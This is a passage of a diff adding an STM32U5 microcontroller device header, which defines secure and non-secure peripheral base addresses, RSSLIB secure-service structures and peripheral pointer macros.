FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) +#define SAI2_BASE_S (APB2PERIPH_BASE_S + 0x5800UL) +#define SAI2_Block_A_BASE_S (SAI2_BASE_S + 0x004UL) +#define SAI2_Block_B_BASE_S (SAI2_BASE_S + 0x024UL) + +/*!< APB3 Secure peripherals */ +#define SYSCFG_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI3_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define OPAMP_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP1_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP2_BASE_S (APB3PERIPH_BASE_S + 0x5010UL) +#define COMP12_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define COMP1_BASE_S (COMP12_BASE_S) +#define COMP2_BASE_S (COMP12_BASE_S + 0x04UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_BASE_S (AHB1PERIPH_BASE_S) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA1_Channel8_BASE_S (GPDMA1_BASE_S + 0x0450UL) +#define GPDMA1_Channel9_BASE_S (GPDMA1_BASE_S + 0x04D0UL) +#define GPDMA1_Channel10_BASE_S (GPDMA1_BASE_S + 0x0550UL) +#define GPDMA1_Channel11_BASE_S (GPDMA1_BASE_S + 0x05D0UL) +#define GPDMA1_Channel12_BASE_S (GPDMA1_BASE_S + 0x0650UL) +#define GPDMA1_Channel13_BASE_S (GPDMA1_BASE_S + 0x06D0UL) +#define GPDMA1_Channel14_BASE_S (GPDMA1_BASE_S + 0x0750UL) +#define GPDMA1_Channel15_BASE_S (GPDMA1_BASE_S + 0x07D0UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x01400UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define TSC_BASE_S (AHB1PERIPH_BASE_S + 0x04000UL) +#define MDF1_BASE_S (AHB1PERIPH_BASE_S + 0x05000UL) +#define MDF1_Filter0_BASE_S (MDF1_BASE_S + 0x80UL) +#define MDF1_Filter1_BASE_S (MDF1_BASE_S + 0x100UL) +#define MDF1_Filter2_BASE_S (MDF1_BASE_S + 0x180UL) +#define MDF1_Filter3_BASE_S (MDF1_BASE_S + 0x200UL) +#define MDF1_Filter4_BASE_S (MDF1_BASE_S + 0x280UL) +#define MDF1_Filter5_BASE_S (MDF1_BASE_S + 0x300UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_SRAM4_BASE_S (RAMCFG_BASE_S + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) +#define DMA2D_BASE_S (AHB1PERIPH_BASE_S + 0x0B000UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define GPIOI_BASE_S (AHB2PERIPH_BASE_S + 0x02000UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08308UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define USB_OTG_FS_BASE_S (AHB2PERIPH_BASE_S + 0x20000UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define OCTOSPIM_R_BASE_S (AHB2PERIPH_BASE_S + 0xA4000UL) /*!< OCTOSPIM control registers base address */ +#define SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8000UL) +#define SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8400UL) +#define DLYB_SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_S (AHB2PERIPH_BASE_S + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_S (AHB2PERIPH_BASE_S + 0xAF400UL) +#define FMC_R_BASE_S (AHB2PERIPH_BASE_S + 0xB0400UL) /*!< FMC control registers base address */ +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) +#define OCTOSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_S (AHB2PERIPH_BASE_S + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_BASE_S (AHB3PERIPH_BASE_S) +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define ADC4_BASE_S (AHB3PERIPH_BASE_S + 0x1000UL) +#define ADC4_COMMON_BASE_S (AHB3PERIPH_BASE_S + 0x1308UL) +#define DAC1_BASE_S (AHB3PERIPH_BASE_S + 0x1800UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define GTZC_TZSC2_BASE_S (AHB3PERIPH_BASE_S + 0x3000UL) +#define GTZC_TZIC2_BASE_S (AHB3PERIPH_BASE_S + 0x3400UL) +#define GTZC_MPCBB4_BASE_S (AHB3PERIPH_BASE_S + 0x3800UL) +#define ADF1_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) +#define ADF1_Filter0_BASE_S (ADF1_BASE_S + 0x80UL) +#define LPDMA1_BASE_S (AHB3PERIPH_BASE_S + 0x5000UL) +#define LPDMA1_Channel0_BASE_S (LPDMA1_BASE_S + 0x0050UL) +#define LPDMA1_Channel1_BASE_S (LPDMA1_BASE_S + 0x00D0UL) +#define LPDMA1_Channel2_BASE_S (LPDMA1_BASE_S + 0x0150UL) +#define LPDMA1_Channel3_BASE_S (LPDMA1_BASE_S + 0x01D0UL) + + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0xE0044000UL) +#define PACKAGE_BASE (0x0BFA0500UL) /*!< Package data register base address */ +#define UID_BASE (0x0BFA0700UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x0BFA07A0UL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x0BFA0000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x200U) /*!< 512 bytes OTP (one-time programmable) */ + +/* USB OTG registers Base address */ +#define USB_OTG_GLOBAL_BASE (0x0000UL) +#define USB_OTG_DEVICE_BASE (0x0800UL) +#define USB_OTG_IN_ENDPOINT_BASE (0x0900UL) +#define USB_OTG_OUT_ENDPOINT_BASE (0x0B00UL) +#define USB_OTG_EP_REG_SIZE (0x0020UL) +#define USB_OTG_HOST_BASE (0x0400UL) +#define USB_OTG_HOST_PORT_BASE (0x0440UL) +#define USB_OTG_HOST_CHANNEL_BASE (0x0500UL) +#define USB_OTG_HOST_CHANNEL_SIZE (0x0020UL) +#define USB_OTG_PCGCCTL_BASE (0x0E00UL) +#define USB_OTG_FIFO_BASE (0x1000UL) +#define USB_OTG_FIFO_SIZE (0x1000UL) + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0x0BF99E40UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0x0BF99EFFUL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE RSSLIB_SYS_FLASH_NS_PFUNC_START +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/*!< HDP Area constant definition */ +#define RSSLIB_HDP_AREA_Pos (0UL) +#define RSSLIB_HDP_AREA_Msk (0x3UL << RSSLIB_HDP_AREA_Pos ) +#define RSSLIB_HDP_AREA1_Pos (0UL) +#define RSSLIB_HDP_AREA1_Msk (0x1UL << RSSLIB_HDP_AREA1_Pos ) +#define RSSLIB_HDP_AREA2_Pos (1UL) +#define RSSLIB_HDP_AREA2_Msk (0x1UL << RSSLIB_HDP_AREA2_Pos ) + +/** + * @brief Prototype of RSSLIB Close and exit HDP Function + * @detail This function close the requested hdp area passed in input + * parameter and jump to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param HdpArea notifies which hdp area to close, can be a combination of + * hdpa area 1 and hdp area 2 + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t ( *RSSLIB_S_CloseExitHDP_TypeDef)( uint32_t HdpArea, uint32_t VectorTableAddr ); + + +/** + * @brief RSSLib non-secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved[8]; +}NSC_pFuncTypeDef; + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved2[2]; + __IM RSSLIB_S_CloseExitHDP_TypeDef CloseExitHDP; /*!< RSSLIB Bootloader Close and exit HDP Address offset: 0x28 */ +}S_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/** @} */ /* End of group STM32U5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *) TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *) TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *) TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *) TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *) TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *) TIM7_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *) WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *) IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *) SPI2_BASE_NS) +#define USART2_NS ((USART_TypeDef *) USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *) USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *) UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *) UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *) I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *) I2C2_BASE_NS) +#define CRS_NS ((CRS_TypeDef *) CRS_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *) LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *) UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) +#define SAI2_NS ((SAI_TypeDef *) SAI2_BASE_NS) +#define SAI2_Block_A_NS ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_NS) +#define SAI2_Block_B_NS ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_NS) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_NS ((SYSCFG_TypeDef *) SYSCFG_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *) SPI3_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define OPAMP_NS ((OPAMP_TypeDef *) OPAMP_BASE_NS) +#define OPAMP1_NS ((OPAMP_TypeDef *) OPAMP1_BASE_NS) +#define OPAMP2_NS ((OPAMP_TypeDef *) OPAMP2_BASE_NS) +#define OPAMP12_COMMON_NS ((OPAMP_Common_TypeDef *) OPAMP1_BASE_NS) +#define COMP12_NS ((COMP_TypeDef *) COMP12_BASE_NS) +#define COMP1_NS ((COMP_TypeDef *) COMP1_BASE_NS) +#define COMP2_NS ((COMP_TypeDef *) COMP2_BASE_NS) +#define COMP12_COMMON_NS ((COMP_Common_TypeDef *) COMP1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA1_Channel8_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_NS) +#define GPDMA1_Channel9_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_NS) +#define GPDMA1_Channel10_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_NS) +#define GPDMA1_Channel11_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_NS) +#define GPDMA1_Channel12_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_NS) +#define GPDMA1_Channel13_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_NS) +#define GPDMA1_Channel14_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_NS) +#define GPDMA1_Channel15_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define TSC_NS ((TSC_TypeDef *) TSC_BASE_NS) +#define MDF1_NS ((MDF_TypeDef *) MDF1_BASE_NS) +#define MDF1_Filter0_NS ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_NS) +#define MDF1_Filter1_NS ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_NS) +#define MDF1_Filter2_NS ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_NS) +#define MDF1_Filter3_NS ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_NS) +#define MDF1_Filter4_NS ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_NS) +#define MDF1_Filter5_NS ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_SRAM4_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define DMA2D_NS ((DMA2D_TypeDef *) DMA2D_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define GPIOI_NS ((GPIO_TypeDef *) GPIOI_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define USB_OTG_FS_NS ((USB_OTG_GlobalTypeDef *) USB_OTG_FS_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define SDMMC2_NS ((SDMMC_TypeDef *) SDMMC2_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define DLYB_SDMMC2_NS ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) +#define DLYB_OCTOSPI2_NS ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_NS) +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) +#define OCTOSPIM_NS ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_NS) +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define OCTOSPI2_NS ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_NS ((GPIO_TypeDef *) LPGPIO1_BASE_NS) +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define ADC4_NS ((ADC_TypeDef *) ADC4_BASE_NS) +#define ADC4_COMMON_NS ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) +#define GTZC_TZSC2_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_NS) +#define GTZC_TZIC2_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_NS) +#define GTZC_MPCBB4_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_NS) +#define ADF1_NS ((MDF_TypeDef *) ADF1_BASE_NS) +#define ADF1_Filter0_NS ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_NS) +#define LPDMA1_NS ((DMA_TypeDef *) LPDMA1_BASE_NS) +#define LPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_NS) +#define LPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_NS) +#define LPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_NS) +#define LPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *) TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *) TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *) TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *) TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *) TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *) TIM7_BASE_S) +#define WWDG_S ((WWDG_TypeDef *) WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *) IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *) SPI2_BASE_S) +#define USART2_S ((USART_TypeDef *) USART2_BASE_S) +#define USART3_S ((USART_TypeDef *) USART3_BASE_S) +#define UART4_S ((USART_TypeDef *) UART4_BASE_S) +#define UART5_S ((USART_TypeDef *) UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *) I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *) I2C2_BASE_S) +#define CRS_S ((CRS_TypeDef *) CRS_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *) LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *) UCPD1_BASE_S) + +/*!< APB2 Secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) +#define SAI2_S ((SAI_TypeDef *) SAI2_BASE_S) +#define SAI2_Block_A_S ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_S) +#define SAI2_Block_B_S ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_S) + +/*!< APB3 secure peripherals */ +#define SYSCFG_S ((SYSCFG_TypeDef *) SYSCFG_BASE_S) +#define SPI3_S ((SPI_TypeDef *) SPI3_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define OPAMP_S ((OPAMP_TypeDef *) OPAMP_BASE_S) +#define OPAMP1_S ((OPAMP_TypeDef *) OPAMP1_BASE_S) +#define OPAMP2_S ((OPAMP_TypeDef *) OPAMP2_BASE_S) +#define OPAMP12_COMMON_S ((OPAMP_Common_TypeDef *) OPAMP1_BASE_S) +#define COMP12_S ((COMP_TypeDef *) COMP12_BASE_S) +#define COMP1_S ((COMP_TypeDef *) COMP1_BASE_S) +#define COMP2_S ((COMP_TypeDef *) COMP2_BASE_S) +#define COMP12_COMMON_S ((COMP_Common_TypeDef *) COMP1_BASE_S) +#define VREFBUF_S 